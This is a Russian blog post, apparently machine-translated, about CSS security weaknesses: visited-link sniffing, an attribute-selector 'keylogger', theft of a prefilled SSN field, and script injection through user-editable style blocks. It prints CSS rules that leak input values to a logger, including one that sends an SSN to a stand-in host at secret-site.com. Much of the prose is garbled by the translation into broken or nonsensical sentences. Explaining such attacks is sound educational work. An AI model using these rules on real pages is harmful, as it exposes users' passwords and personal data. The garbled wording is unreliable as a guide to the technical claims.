Уязвимости безопасности CSS
Не читай этот заголовок и не волнуйся. Я не думаю, что CSS-это особенно опасная проблема безопасности, и по большей части, я не думаю, что вам нужно беспокоиться об этом.
Но каждый раз в то время, статьи, Как правило, циркулируют и получить некоторое внимание о возможностях того, что CSS может сделать, что может удивить или беспокоить вас.
А вот и небольшая облава.
Visited Link Concern
А вот это звучит так::
- Вы ставите ссылку на определенную страницу на вашем сайте, скажем
<a href="https://i-tickle-pigs.com">Tickle Pigs</a>
- Вы стилизуете посещенное состояние этой ссылки,
a:visited { color: pink; }
которое не является стилем агента пользователя по умолчанию. - Вы тестируете вычисленный стиль этой ссылки.
- Если он розовый, Этот пользователь-щекотун свиньи.
- Вы сообщаете, что свинья щекочет информацию обратно на какой-то сервер где-то и предположительно утроить свои свиньи, владеющие страховые тарифы, как наверняка свиньи будут страдать крайнее эмоциональное расстройство над всем щекотки.
Вы даже можете сделать это полностью в CSS, потому что :visited
этот стиль может иметь подобныйbackground-image: url(/data-logger/tickle.php);
, который запрашивается только pig ticklers.
Волнуешься? Не будьте, браузеры все это предотвратили, чтобы это было возможно.
Keylogger
А вот это звучит так::
- Есть вход на странице. Возможно, ввод пароля. Страшно!
- Вы ставите скрипт регистратора в качестве значения для фонового изображения ввода, но также и еще один миллиард селекторов, таких как этот, что регистратор будет собирать и сообщать некоторые или все пароли.
input[value^="a"] { background: url(logger.php?v=a); }
Это не так просто сделать. value
Атрибут ввода не изменяется только потому, что вы вводите его. Это делает иногда в рамках, как реагировать, хотя, так что если бы вы должны были проскользнуть этот CSS на страницу входа в систему питание от React и закодированы таким образом, то теоретически, это CSS-питание кейлоггер может работать.
Но... в этом случае JavaScript выполняется на этой странице в любом случае. JavaScript-это 1000× больше, чем CSS для таких вещей, как это. Кейлоггер в JavaScript - это всего лишь пара строк кода, наблюдающих за событиями нажатия клавиш и сообщающих о них через Ajax.
Сторонние и XSS-инъекции встроенного JavaScript теперь можно остановить с помощью политики безопасности содержимого (CSP)... но и CSS тоже.
Похититель Данных
А вот это звучит так::
- Если я могу получить некоторые из моих гнусных CSS на страницу, где вы аутентифицировались на сайте...
- И этот сайт отображает конфиденциальную информацию, такую как номер социального страхования ( SSN ) в предварительно заполненной форме...
- Я могу использовать селекторы атрибутов, чтобы выяснить это.
input#ssn[value="123-45-6789"] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }
Миллиард селекторов, и вы уже покрыли все возможности!
Блок встроенного стиля hoopsie
Я не знаю, буду ли я обвинять CSS в этом обязательно, но представьте:
<style> ... Drop in some user-generated stuff ... </style>
Возможно, вы позволяете пользователю некоторые настройки CSS там. Это вектор атаки, так как они могут закрыть этот тег стиля, открыть тег сценария и написать гнусный JavaScript.
Я уверен, что есть еще куча
- Ты их поймал? Поделись ими.
Нарисуйте мне немного скептически, насколько я должен быть напуган уязвимостями безопасности CSS. Я не хочу слишком сильно преуменьшать проблемы безопасности, потому что я не эксперт, и безопасность имеет первостепенное значение, но в то же время я никогда не слышал, чтобы CSS был вектором атаки для чего-либо за пределами мысленного упражнения. Дайте мне образование!